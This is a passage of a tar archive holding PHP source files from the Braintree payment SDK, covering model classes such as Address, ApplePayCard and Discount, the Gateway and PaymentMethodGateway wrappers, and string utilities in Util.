return new MultipleValueNode("reason_code"); } public static function receivedDate() { return new RangeNode("received_date"); } public static function disbursementDate() { return new RangeNode("disbursement_date"); } public static function effectiveDate() { return new RangeNode("effective_date"); } public static function referenceNumber() { return new TextNode("reference_number"); } public static function replyByDate() { return new RangeNode("reply_by_date"); } public static function status() { return new MultipleValueNode("status"); } public static function transactionId() { return new TextNode("transaction_id"); } public static function transactionSource() { return new MultipleValueNode("transaction_source"); } } class_alias('Braintree\DisputeSearch', 'Braintree_DisputeSearch'); �����������������������������������������������������������������������������������������������������������braintree/lib/Braintree/Base.php��������������������������������������������������������������������0000644�����������������00000003571�14720677707�0012612 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php namespace Braintree; use JsonSerializable; /** * Braintree PHP Library. * * Braintree base class and initialization * Provides methods to child classes. This class cannot be instantiated. * * PHP version 5 */ abstract class Base implements JsonSerializable { protected $_attributes = []; /** * @ignore * don't permit an explicit call of the constructor! * (like $t = new Transaction()) */ protected function __construct() { } /** * Disable cloning of objects * * @ignore */ protected function __clone() { } /** * Accessor for instance properties stored in the private $_attributes property * * @ignore * @param string $name * @return mixed */ public function __get($name) { if (array_key_exists($name, $this->_attributes)) { return $this->_attributes[$name]; } else { trigger_error('Undefined property on ' . get_class($this) . ': ' . $name, E_USER_NOTICE); return null; } } /** * Checks for the existence of a property stored in the private $_attributes property * * @ignore * @param string $name * @return boolean */ public function __isset($name) { return array_key_exists($name, $this->_attributes); } /** * Mutator for instance properties stored in the private $_attributes property * * @ignore * @param string $key * @param mixed $value */ public function _set($key, $value) { $this->_attributes[$key] = $value; } /** * Implementation of JsonSerializable * * @ignore * @return array */ public function jsonSerialize() { return $this->_attributes; } } ���������������������������������������������������������������������������������������������������������������������������������������braintree/lib/Braintree/Address.php�����������������������������������������������������������������0000644�����������������00000010057�14720677707�0013322 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php namespace Braintree; /** * Braintree Address module * PHP Version 5 * Creates and manages Braintree Addresses * * An Address belongs to a Customer. It can be associated to a * CreditCard as the billing address. It can also be used * as the shipping address when creating a Transaction. * * @package Braintree * * @property-read string $company * @property-read string $countryName * @property-read \DateTime $createdAt * @property-read string $customerId * @property-read string $extendedAddress * @property-read string $firstName * @property-read string $id * @property-read string $lastName * @property-read string $locality * @property-read string $postalCode * @property-read string $region * @property-read string $streetAddress * @property-read \DateTime $updatedAt */ class Address extends Base { /** * returns false if comparing object is not a Address, * or is a Address with a different id * * @param object $other address to compare against * @return boolean */ public function isEqual($other) { return !($other instanceof self) ? false : ($this->id === $other->id && $this->customerId === $other->customerId); } /** * create a printable representation of the object as: * ClassName[property=value, property=value] * @ignore * @return string */ public function __toString() { return __CLASS__ . '[' . Util::attributesToString($this->_attributes) . ']'; } /** * sets instance properties from an array of values * * @ignore * @access protected * @param array $addressAttribs array of address data * @return void */ protected function _initialize($addressAttribs) { // set the attributes $this->_attributes = $addressAttribs; } /** * factory method: returns an instance of Address * to the requesting method, with populated properties * @ignore * @return Address */ public static function factory($attributes) { $instance = new self(); $instance->_initialize($attributes); return $instance; } // static methods redirecting to gateway /** * * @param array $attribs * @return Address */ public static function create($attribs) { return Configuration::gateway()->address()->create($attribs); } /** * * @param array $attribs * @return Address */ public static function createNoValidate($attribs) { return Configuration::gateway()->address()->createNoValidate($attribs); } /** * * @param Customer|int $customerOrId * @param int $addressId * @throws InvalidArgumentException * @return Result\Successful */ public static function delete($customerOrId = null, $addressId = null) { return Configuration::gateway()->address()->delete($customerOrId, $addressId); } /** * * @param Customer|int $customerOrId * @param int $addressId * @throws Exception\NotFound * @return Address */ public static function find($customerOrId, $addressId) { return Configuration::gateway()->address()->find($customerOrId, $addressId); } /** * * @param Customer|int $customerOrId * @param int $addressId * @param array $attributes * @throws Exception\Unexpected * @return Result\Successful|Result\Error */ public static function update($customerOrId, $addressId, $attributes) { return Configuration::gateway()->address()->update($customerOrId, $addressId, $attributes); } public static function updateNoValidate($customerOrId, $addressId, $attributes) { return Configuration::gateway()->address()->updateNoValidate($customerOrId, $addressId, $attributes); } } class_alias('Braintree\Address', 'Braintree_Address'); ���������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������braintree/lib/Braintree/TransactionLineItem.php�����������������������������������������������������0000644�����������������00000002631�14720677707�0015650 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php namespace Braintree; use Braintree\Instance; /** * Line item associated with a transaction * * @package Braintree */ /** * creates an instance of TransactionLineItem * * * @package Braintree * * @property-read string $commodityCode * @property-read string $description * @property-read string $discountAmount * @property-read string $kind * @property-read string $name * @property-read string $productCode * @property-read string $quantity * @property-read string $taxAmount * @property-read string $totalAmount * @property-read string $unitAmount * @property-read string $unitOfMeasure * @property-read string $unitTaxAmount * @property-read string $url */ class TransactionLineItem extends Instance { // LineItem Kinds const CREDIT = 'credit'; const DEBIT = 'debit'; protected $_attributes = []; /** * @ignore */ public function __construct($attributes) { parent::__construct($attributes); } public static function findAll($transactionId) { return Configuration::gateway()->transactionLineItem()->findAll($transactionId); } } class_alias('Braintree\TransactionLineItem', 'Braintree_TransactionLineItem'); class_alias('Braintree\TransactionLineItem', 'Braintree\Transaction\LineItem'); class_alias('Braintree\TransactionLineItem', 'Braintree_Transaction_LineItem'); �������������������������������������������������������������������������������������������������������braintree/lib/Braintree/Exception.php���������������������������������������������������������������0000644�����������������00000000364�14720677707�0013673 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php namespace Braintree; /** * super class for all Braintree exceptions * * @package Braintree * @subpackage Exception */ class Exception extends \Exception { } class_alias('Braintree\Exception', 'Braintree_Exception'); ����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������braintree/lib/Braintree/AuthorizationAdjustment.php�������������������������������������������������0000644�����������������00000001541�14720677707�0016632 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php namespace Braintree; /** * Creates an instance of AuthorizationAdjustment as returned from a transaction * * @package Braintree * * @property-read string $amount * @property-read boolean $success * @property-read \DateTime $timestamp * */ class AuthorizationAdjustment extends Base { public static function factory($attributes) { $instance = new self(); $instance->_initialize($attributes); return $instance; } protected function _initialize($authorizationAdjustmentAttribs) { $this->_attributes = $authorizationAdjustmentAttribs; } public function __toString() { return __CLASS__ . '[' . Util::attributesToString($this->_attributes) . ']'; } } class_alias('Braintree\AuthorizationAdjustment', 'Braintree_Authorization_Adjustment'); ���������������������������������������������������������������������������������������������������������������������������������������������������������������braintree/lib/Braintree/MultipleValueOrTextNode.php�������������������������������������������������0000644�����������������00000002013�14720677707�0016472 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php namespace Braintree; class MultipleValueOrTextNode extends MultipleValueNode { public function __construct($name) { parent::__construct($name); $this->textNode = new TextNode($name); } public function contains($value) { $this->textNode->contains($value); return $this; } public function endsWith($value) { $this->textNode->endsWith($value); return $this; } public function is($value) { $this->textNode->is($value); return $this; } public function isNot($value) { $this->textNode->isNot($value); return $this; } public function startsWith($value) { $this->textNode->startsWith($value); return $this; } public function toParam() { return array_merge(parent::toParam(), $this->textNode->toParam()); } } class_alias('Braintree\MultipleValueOrTextNode', 'Braintree_MultipleValueOrTextNode'); ���������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������braintree/lib/Braintree/AccountUpdaterDailyReport.php�����������������������������������������������0000644�����������������00000002031�14720677707�0017026 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php namespace Braintree; /** * Creates an instance of AccountUpdaterDailyReport * * * @package Braintree * * @property-read string $reportUrl * @property-read date $reportDate */ class AccountUpdaterDailyReport extends Base { protected $_attributes = []; protected function _initialize($disputeAttribs) { $this->_attributes = $disputeAttribs; } public static function factory($attributes) { $instance = new self(); $instance->_initialize($attributes); return $instance; } public function __toString() { $display = [ 'reportDate', 'reportUrl' ]; $displayAttributes = []; foreach ($display AS $attrib) { $displayAttributes[$attrib] = $this->$attrib; } return __CLASS__ . '[' . Util::attributesToString($displayAttributes) .']'; } } class_alias('Braintree\AccountUpdaterDailyReport', 'Braintree_AccountUpdaterDailyReport'); �������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������braintree/lib/Braintree/ApplePayCard.php������������������������������������������������������������0000644�����������������00000005631�14720677707�0014244 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php namespace Braintree; /** * Braintree ApplePayCard module * Creates and manages Braintree Apple Pay cards * * <b>== More information ==</b> * * See {@link https://developers.braintreepayments.com/javascript+php}<br /> * * @package Braintree * @category Resources * * @property-read string $bin * @property-read string $cardType * @property-read \DateTime $createdAt * @property-read string $customerId * @property-read boolean $default * @property-read string $expirationDate * @property-read string $expirationMonth * @property-read string $expirationYear * @property-read boolean $expired * @property-read string $imageUrl * @property-read string $last4 * @property-read string $token * @property-read string $paymentInstrumentName * @property-read string $sourceDescription * @property-read \Braintree\Subscription[] $subscriptions * @property-read \DateTime $updatedAt */ class ApplePayCard extends Base { // Card Type const AMEX = 'Apple Pay - American Express'; const MASTER_CARD = 'Apple Pay - MasterCard'; const VISA = 'Apple Pay - Visa'; /* instance methods */ /** * returns false if default is null or false * * @return boolean */ public function isDefault() { return $this->default; } /** * checks whether the card is expired based on the current date * * @return boolean */ public function isExpired() { return $this->expired; } /** * factory method: returns an instance of ApplePayCard * to the requesting method, with populated properties * * @ignore * @return ApplePayCard */ public static function factory($attributes) { $defaultAttributes = [ 'expirationMonth' => '', 'expirationYear' => '', 'last4' => '', ]; $instance = new self(); $instance->_initialize(array_merge($defaultAttributes, $attributes)); return $instance; } /** * sets instance properties from an array of values * * @access protected * @param array $applePayCardAttribs array of Apple Pay card properties * @return void */ protected function _initialize($applePayCardAttribs) { // set the attributes $this->_attributes = $applePayCardAttribs; $subscriptionArray = []; if (isset($applePayCardAttribs['subscriptions'])) { foreach ($applePayCardAttribs['subscriptions'] AS $subscription) { $subscriptionArray[] = Subscription::factory($subscription); } } $this->_set('subscriptions', $subscriptionArray); $this->_set('expirationDate', $this->expirationMonth . '/' . $this->expirationYear); } } class_alias('Braintree\ApplePayCard', 'Braintree_ApplePayCard'); �������������������������������������������������������������������������������������������������������braintree/lib/Braintree/Gateway.php�����������������������������������������������������������������0000644�����������������00000011660�14720677707�0013337 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php namespace Braintree; /** * Braintree Gateway module * * @package Braintree * @category Resources */ class Gateway { /** * * @var Configuration */ public $config; public function __construct($config) { if (is_array($config)) { $config = new Configuration($config); } $this->config = $config; } /** * * @return AddOnGateway */ public function addOn() { return new AddOnGateway($this); } /** * * @return AddressGateway */ public function address() { return new AddressGateway($this); } /** * * @return ApplePayGateway */ public function applePay() { return new ApplePayGateway($this); } /** * * @return ClientTokenGateway */ public function clientToken() { return new ClientTokenGateway($this); } /** * * @return CreditCardGateway */ public function creditCard() { return new CreditCardGateway($this); } /** * * @return CreditCardVerificationGateway */ public function creditCardVerification() { return new CreditCardVerificationGateway($this); } /** * * @return CustomerGateway */ public function customer() { return new CustomerGateway($this); } /** * * @return DiscountGateway */ public function discount() { return new DiscountGateway($this); } /** * * @return DisputeGateway */ public function dispute() { return new DisputeGateway($this); } /** * * @return DocumentUploadGateway */ public function documentUpload() { return new DocumentUploadGateway($this); } /** * * @return MerchantGateway */ public function merchant() { return new MerchantGateway($this); } /** * * @return MerchantAccountGateway */ public function merchantAccount() { return new MerchantAccountGateway($this); } /** * * @return OAuthGateway */ public function oauth() { return new OAuthGateway($this); } /** * * @return PaymentMethodGateway */ public function paymentMethod() { return new PaymentMethodGateway($this); } /** * * @return PaymentMethodNonceGateway */ public function paymentMethodNonce() { return new PaymentMethodNonceGateway($this); } /** * * @return PayPalAccountGateway */ public function payPalAccount() { return new PayPalAccountGateway($this); } /** * * @return PlanGateway */ public function plan() { return new PlanGateway($this); } /** * * @return SettlementBatchSummaryGateway */ public function settlementBatchSummary() { return new SettlementBatchSummaryGateway($this); } /** * * @return SubscriptionGateway */ public function subscription() { return new SubscriptionGateway($this); } /** * * @return TestingGateway */ public function testing() { return new TestingGateway($this); } /** * * @return TransactionGateway */ public function transaction() { return new TransactionGateway($this); } /** * * @return TransactionLineItemGateway */ public function transactionLineItem() { return new TransactionLineItemGateway($this); } /** * * @return TransparentRedirectGateway */ public function transparentRedirect() { return new TransparentRedirectGateway($this); } /** * * @return UsBankAccountGateway */ public function usBankAccount() { return new UsBankAccountGateway($this); } /** * * @return UsBankAccountVerificationGateway */ public function usBankAccountVerification() { return new UsBankAccountVerificationGateway($this); } /** * * @return IdealPaymentGateway */ public function idealPayment() { return new IdealPaymentGateway($this); } /** * * @return WebhookNotificationGateway */ public function webhookNotification() { return new WebhookNotificationGateway($this); } /** * * @return WebhookTestingGateway */ public function webhookTesting() { return new WebhookTestingGateway($this); } } class_alias('Braintree\Gateway', 'Braintree_Gateway'); ��������������������������������������������������������������������������������braintree/lib/Braintree/Subscription/StatusDetails.php����������������������������������������������0000644�����������������00000001232�14720677707�0017205 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php namespace Braintree\Subscription; use Braintree\Instance; /** * Status details from a subscription * Creates an instance of StatusDetails, as part of a subscription response * * @package Braintree * * @property-read string $price * @property-read string $currencyIsoCode * @property-read string $planId * @property-read string $balance * @property-read string $status * @property-read \DateTime $timestamp * @property-read string $subscriptionSource * @property-read string $user */ class StatusDetails extends Instance { } class_alias('Braintree\Subscription\StatusDetails', 'Braintree_Subscription_StatusDetails'); ����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������braintree/lib/Braintree/PaymentMethodGateway.php����������������������������������������������������0000644�����������������00000023422�14720677707�0016035 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php namespace Braintree; use InvalidArgumentException; /** * Braintree PaymentMethodGateway module * * @package Braintree * @category Resources */ /** * Creates and manages Braintree PaymentMethods * * <b>== More information ==</b> * * * @package Braintree * @category Resources */ class PaymentMethodGateway { private $_gateway; private $_config; private $_http; public function __construct($gateway) { $this->_gateway = $gateway; $this->_config = $gateway->config; $this->_config->assertHasAccessTokenOrKeys(); $this->_http = new Http($gateway->config); } public function create($attribs) { Util::verifyKeys(self::createSignature(), $attribs); return $this->_doCreate('/payment_methods', ['payment_method' => $attribs]); } /** * find a PaymentMethod by token * * @param string $token payment method unique id * @return CreditCard|PayPalAccount * @throws Exception\NotFound */ public function find($token) { $this->_validateId($token); try { $path = $this->_config->merchantPath() . '/payment_methods/any/' . $token; $response = $this->_http->get($path); return PaymentMethodParser::parsePaymentMethod($response); } catch (Exception\NotFound $e) { throw new Exception\NotFound( 'payment method with token ' . $token . ' not found' ); } } public function update($token, $attribs) { Util::verifyKeys(self::updateSignature(), $attribs); return $this->_doUpdate('/payment_methods/any/' . $token, ['payment_method' => $attribs]); } public function delete($token, $options=[]) { Util::verifyKeys(self::deleteSignature(), $options); $this->_validateId($token); $queryString = ""; if (!empty($options)) { $queryString = "?" . http_build_query(Util::camelCaseToDelimiterArray($options, '_')); } return $this->_doDelete('/payment_methods/any/' . $token . $queryString); } public function grant($sharedPaymentMethodToken, $attribs=[]) { if (is_bool($attribs) === true) { $attribs = ['allow_vaulting' => $attribs]; } $options = [ 'shared_payment_method_token' => $sharedPaymentMethodToken ]; return $this->_doGrant( '/payment_methods/grant', [ 'payment_method' => array_merge($attribs, $options) ] ); } public function revoke($sharedPaymentMethodToken) { return $this->_doRevoke( '/payment_methods/revoke', [ 'payment_method' => [ 'shared_payment_method_token' => $sharedPaymentMethodToken ] ] ); } private static function baseSignature() { $billingAddressSignature = AddressGateway::createSignature(); $optionsSignature = [ 'failOnDuplicatePaymentMethod', 'makeDefault', 'verificationMerchantAccountId', 'verifyCard', 'verificationAccountType', 'verificationAmount', 'usBankAccountVerificationMethod', ['paypal' => [ 'payee_email', 'payeeEmail', 'order_id', 'orderId', 'custom_field', 'customField', 'description', 'amount', ['shipping' => [ 'firstName', 'lastName', 'company', 'countryName', 'countryCodeAlpha2', 'countryCodeAlpha3', 'countryCodeNumeric', 'extendedAddress', 'locality', 'postalCode', 'region', 'streetAddress'], ], ]], ]; return [ 'billingAddressId', 'cardholderName', 'cvv', 'deviceData', 'expirationDate', 'expirationMonth', 'expirationYear', 'number', 'paymentMethodNonce', 'token', ['options' => $optionsSignature], ['billingAddress' => $billingAddressSignature] ]; } public static function createSignature() { $signature = array_merge(self::baseSignature(), ['customerId', 'paypalRefreshToken', 'paypalVaultWithoutUpgrade']); return $signature; } public static function updateSignature() { $billingAddressSignature = AddressGateway::updateSignature(); array_push($billingAddressSignature, [ 'options' => [ 'updateExisting' ] ]); $signature = array_merge(self::baseSignature(), [ 'deviceSessionId', 'venmoSdkPaymentMethodCode', 'fraudMerchantId', ['billingAddress' => $billingAddressSignature] ]); return $signature; } private static function deleteSignature() { return ['revokeAllGrants']; } /** * sends the create request to the gateway * * @ignore * @param string $subPath * @param array $params * @return mixed */ public function _doCreate($subPath, $params) { $fullPath = $this->_config->merchantPath() . $subPath; $response = $this->_http->post($fullPath, $params); return $this->_verifyGatewayResponse($response); } public function _doGrant($subPath, $params) { $fullPath = $this->_config->merchantPath() . $subPath; $response = $this->_http->post($fullPath, $params); return $this->_verifyGrantResponse($response); } public function _doRevoke($subPath, $params) { $fullPath = $this->_config->merchantPath() . $subPath; $response = $this->_http->post($fullPath, $params); return $this->_verifyRevokeResponse($response); } /** * sends the update request to the gateway * * @ignore * @param string $subPath * @param array $params * @return mixed */ public function _doUpdate($subPath, $params) { $fullPath = $this->_config->merchantPath() . $subPath; $response = $this->_http->put($fullPath, $params); return $this->_verifyGatewayResponse($response); } /** * sends the delete request to the gateway * * @ignore * @param string $subPath * @return mixed */ public function _doDelete($subPath) { $fullPath = $this->_config->merchantPath() . $subPath; $this->_http->delete($fullPath); return new Result\Successful(); } /** * generic method for validating incoming gateway responses * * creates a new CreditCard or PayPalAccount object * and encapsulates it inside a Result\Successful object, or * encapsulates a Errors object inside a Result\Error * alternatively, throws an Unexpected exception if the response is invalid. * * @ignore * @param array $response gateway response values * @return Result\Successful|Result\Error * @throws Exception\Unexpected */ private function _verifyGatewayResponse($response) { if (isset($response['apiErrorResponse'])) { return new Result\Error($response['apiErrorResponse']); } else if (($response)) { return new Result\Successful( PaymentMethodParser::parsePaymentMethod($response), 'paymentMethod' ); } else { throw new Exception\Unexpected( 'Expected payment method or apiErrorResponse' ); } } private function _verifyGrantResponse($response) { if (isset($response['apiErrorResponse'])) { return new Result\Error($response['apiErrorResponse']); } else if (isset($response['paymentMethodNonce'])) { return new Result\Successful( PaymentMethodNonce::factory($response['paymentMethodNonce']), 'paymentMethodNonce' ); } else { throw new Exception\Unexpected( 'Expected paymentMethodNonce or apiErrorResponse' ); } } private function _verifyRevokeResponse($response) { if (isset($response['apiErrorResponse'])) { return new Result\Error($response['apiErrorResponse']); } else if (isset($response['success'])) { return new Result\Successful(); } else { throw new Exception\Unexpected( 'Expected success or apiErrorResponse' ); } } /** * verifies that a valid payment method identifier is being used * @ignore * @param string $identifier * @param Optional $string $identifierType type of identifier supplied, default 'token' * @throws InvalidArgumentException */ private function _validateId($identifier = null, $identifierType = 'token') { if (empty($identifier)) { throw new InvalidArgumentException( 'expected payment method id to be set' ); } if (!preg_match('/^[0-9A-Za-z_-]+$/', $identifier)) { throw new InvalidArgumentException( $identifier . ' is an invalid payment method ' . $identifierType . '.' ); } } } class_alias('Braintree\PaymentMethodGateway', 'Braintree_PaymentMethodGateway'); ����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������braintree/lib/Braintree/Discount.php����������������������������������������������������������������0000644�����������������00000001655�14720677707�0013531 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php namespace Braintree; /** * @property-read string $amount * @property-read \DateTime $createdAt * @property-read int|null $currentBillingCycle * @property-read string $description * @property-read string $id * @property-read string|null $kind * @property-read string $merchantId * @property-read string $name * @property-read boolean $neverExpires * @property-read int|null $numberOfBillingCycles * @property-read int|null $quantity * @property-read \DateTime $updatedAt */ class Discount extends Modification { public static function factory($attributes) { $instance = new self(); $instance->_initialize($attributes); return $instance; } // static methods redirecting to gateway public static function all() { return Configuration::gateway()->discount()->all(); } } class_alias('Braintree\Discount', 'Braintree_Discount'); �����������������������������������������������������������������������������������braintree/lib/Braintree/Util.php��������������������������������������������������������������������0000644�����������������00000042037�14720677707�0012655 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php namespace Braintree; use DateTime; use InvalidArgumentException; /** * Braintree Utility methods * PHP version 5 */ class Util { /** * extracts an attribute and returns an array of objects * * extracts the requested element from an array, and converts the contents * of its child arrays to objects of type $attributeName, or returns * an array with a single element containing the value of that array element * * @param array $attribArray attributes from a search response * @param string $attributeName indicates which element of the passed array to extract * @return array array of $attributeName objects, or a single element array */ public static function extractAttributeAsArray(&$attribArray, $attributeName) { if(!isset($attribArray[$attributeName])): return []; endif; // get what should be an array from the passed array $data = $attribArray[$attributeName]; // set up the class that will be used to convert each array element $classFactory = self::buildClassName($attributeName) . '::factory'; if(is_array($data)): // create an object from the data in each element $objectArray = array_map($classFactory, $data); else: return [$data]; endif; unset($attribArray[$attributeName]); return $objectArray; } /** * throws an exception based on the type of error * @param string $statusCode HTTP status code to throw exception from * @param null|string $message * @throws Exception multiple types depending on the error * @return void */ public static function throwStatusCodeException($statusCode, $message=null) { switch($statusCode) { case 401: throw new Exception\Authentication(); break; case 403: throw new Exception\Authorization($message); break; case 404: throw new Exception\NotFound(); break; case 426: throw new Exception\UpgradeRequired(); break; case 429: throw new Exception\TooManyRequests(); break; case 500: throw new Exception\ServerError(); break; case 503: throw new Exception\DownForMaintenance(); break; default: throw new Exception\Unexpected('Unexpected HTTP_RESPONSE #' . $statusCode); break; } } /** * throws an exception based on the type of error returned from graphql * @param array $response complete graphql response * @throws Exception multiple types depending on the error * @return void */ public static function throwGraphQLResponseException($response) { if(!array_key_exists("errors", $response) || !($errors = $response["errors"])) { return; } foreach ($errors as $error) { $message = $error["message"]; if ($error["extensions"] == null) { throw new Exception\Unexpected("Unexpected exception:" . $message); } $errorClass = $error["extensions"]["errorClass"]; if ($errorClass == "VALIDATION") { continue; } else if ($errorClass == "AUTHENTICATION") { throw new Exception\Authentication(); } else if ($errorClass == "AUTHORIZATION") { throw new Exception\Authorization($message); } else if ($errorClass == "NOT_FOUND") { throw new Exception\NotFound(); } else if ($errorClass == "UNSUPPORTED_CLIENT") { throw new Exception\UpgradeRequired(); } else if ($errorClass == "RESOURCE_LIMIT") { throw new Exception\TooManyRequests(); } else if ($errorClass == "INTERNAL") { throw new Exception\ServerError(); } else if ($errorClass == "SERVICE_AVAILABILITY") { throw new Exception\DownForMaintenance(); } else { throw new Exception\Unexpected('Unexpected exception ' . $message); } } } /** * * @param string $className * @param object $resultObj * @return object returns the passed object if successful * @throws Exception\ValidationsFailed */ public static function returnObjectOrThrowException($className, $resultObj) { $resultObjName = self::cleanClassName($className); if ($resultObj->success) { return $resultObj->$resultObjName; } else { throw new Exception\ValidationsFailed(); } } /** * removes the header from a classname * * @param string $name ClassName * @return camelCased classname minus header */ public static function cleanClassName($name) { $classNamesToResponseKeys = [ 'Braintree\CreditCard' => 'creditCard', 'Braintree_CreditCard' => 'creditCard', 'Braintree\CreditCardGateway' => 'creditCard', 'Braintree_CreditCardGateway' => 'creditCard', 'Braintree\Customer' => 'customer', 'Braintree_Customer' => 'customer', 'Braintree\CustomerGateway' => 'customer', 'Braintree_CustomerGateway' => 'customer', 'Braintree\Subscription' => 'subscription', 'Braintree_Subscription' => 'subscription', 'Braintree\SubscriptionGateway' => 'subscription', 'Braintree_SubscriptionGateway' => 'subscription', 'Braintree\Transaction' => 'transaction', 'Braintree_Transaction' => 'transaction', 'Braintree\TransactionGateway' => 'transaction', 'Braintree_TransactionGateway' => 'transaction', 'Braintree\CreditCardVerification' => 'verification', 'Braintree_CreditCardVerification' => 'verification', 'Braintree\CreditCardVerificationGateway' => 'verification', 'Braintree_CreditCardVerificationGateway' => 'verification', 'Braintree\AddOn' => 'addOn', 'Braintree_AddOn' => 'addOn', 'Braintree\AddOnGateway' => 'addOn', 'Braintree_AddOnGateway' => 'addOn', 'Braintree\Discount' => 'discount', 'Braintree_Discount' => 'discount', 'Braintree\DiscountGateway' => 'discount', 'Braintree_DiscountGateway' => 'discount', 'Braintree\Dispute' => 'dispute', 'Braintree_Dispute' => 'dispute', 'Braintree\Dispute\EvidenceDetails' => 'evidence', 'Braintree_Dispute_EvidenceDetails' => 'evidence', 'Braintree\DocumentUpload' => 'documentUpload', 'Braintree_DocumentUpload' => 'doumentUpload', 'Braintree\Plan' => 'plan', 'Braintree_Plan' => 'plan', 'Braintree\PlanGateway' => 'plan', 'Braintree_PlanGateway' => 'plan', 'Braintree\Address' => 'address', 'Braintree_Address' => 'address', 'Braintree\AddressGateway' => 'address', 'Braintree_AddressGateway' => 'address', 'Braintree\SettlementBatchSummary' => 'settlementBatchSummary', 'Braintree_SettlementBatchSummary' => 'settlementBatchSummary', 'Braintree\SettlementBatchSummaryGateway' => 'settlementBatchSummary', 'Braintree_SettlementBatchSummaryGateway' => 'settlementBatchSummary', 'Braintree\Merchant' => 'merchant', 'Braintree_Merchant' => 'merchant', 'Braintree\MerchantGateway' => 'merchant', 'Braintree_MerchantGateway' => 'merchant', 'Braintree\MerchantAccount' => 'merchantAccount', 'Braintree_MerchantAccount' => 'merchantAccount', 'Braintree\MerchantAccountGateway' => 'merchantAccount', 'Braintree_MerchantAccountGateway' => 'merchantAccount', 'Braintree\OAuthCredentials' => 'credentials', 'Braintree_OAuthCredentials' => 'credentials', 'Braintree\OAuthResult' => 'result', 'Braintree_OAuthResult' => 'result', 'Braintree\PayPalAccount' => 'paypalAccount', 'Braintree_PayPalAccount' => 'paypalAccount', 'Braintree\PayPalAccountGateway' => 'paypalAccount', 'Braintree_PayPalAccountGateway' => 'paypalAccount', 'Braintree\UsBankAccountVerification' => 'usBankAccountVerification', 'Braintree_UsBankAccountVerification' => 'usBankAccountVerification', ]; return $classNamesToResponseKeys[$name]; } /** * * @param string $name className * @return string ClassName */ public static function buildClassName($name) { $responseKeysToClassNames = [ 'creditCard' => 'Braintree\CreditCard', 'customer' => 'Braintree\Customer', 'dispute' => 'Braintree\Dispute', 'documentUpload' => 'Braintree\DocumentUpload', 'subscription' => 'Braintree\Subscription', 'transaction' => 'Braintree\Transaction', 'verification' => 'Braintree\CreditCardVerification', 'addOn' => 'Braintree\AddOn', 'discount' => 'Braintree\Discount', 'plan' => 'Braintree\Plan', 'address' => 'Braintree\Address', 'settlementBatchSummary' => 'Braintree\SettlementBatchSummary', 'merchantAccount' => 'Braintree\MerchantAccount', ]; return (string) $responseKeysToClassNames[$name]; } /** * convert alpha-beta-gamma to alphaBetaGamma * * @access public * @param string $string * @param null|string $delimiter * @return string modified string */ public static function delimiterToCamelCase($string, $delimiter = '[\-\_]') { static $callback = null; if ($callback === null) { $callback = function ($matches) { return strtoupper($matches[1]); }; } return preg_replace_callback('/' . $delimiter . '(\w)/', $callback, $string); } /** * convert alpha-beta-gamma to alpha_beta_gamma * * @access public * @param string $string * @return string modified string */ public static function delimiterToUnderscore($string) { return preg_replace('/-/', '_', $string); } /** * find capitals and convert to delimiter + lowercase * * @access public * @param string $string * @param null|string $delimiter * @return string modified string */ public static function camelCaseToDelimiter($string, $delimiter = '-') { return strtolower(preg_replace('/([A-Z])/', "$delimiter\\1", $string)); } public static function delimiterToCamelCaseArray($array, $delimiter = '[\-\_]') { $converted = []; foreach ($array as $key => $value) { if (is_string($key)) { $key = self::delimiterToCamelCase($key, $delimiter); } if (is_array($value)) { // Make an exception for custom fields, which must be underscore (can't be // camelCase). if ($key === 'customFields') { $value = self::delimiterToUnderscoreArray($value); } else { $value = self::delimiterToCamelCaseArray($value, $delimiter); } } $converted[$key] = $value; } return $converted; } public static function camelCaseToDelimiterArray($array, $delimiter = '-') { $converted = []; foreach ($array as $key => $value) { if (is_string($key)) { $key = self::camelCaseToDelimiter($key, $delimiter); } if (is_array($value)) { $value = self::camelCaseToDelimiterArray($value, $delimiter); } $converted[$key] = $value; } return $converted; } public static function delimiterToUnderscoreArray($array) { $converted = []; foreach ($array as $key => $value) { $key = self::delimiterToUnderscore($key); $converted[$key] = $value; } return $converted; } /** * * @param array $array associative array to implode * @param string $separator (optional, defaults to =) * @param string $glue (optional, defaults to ', ') * @return bool */ public static function implodeAssociativeArray($array, $separator = '=', $glue = ', ') { // build a new array with joined 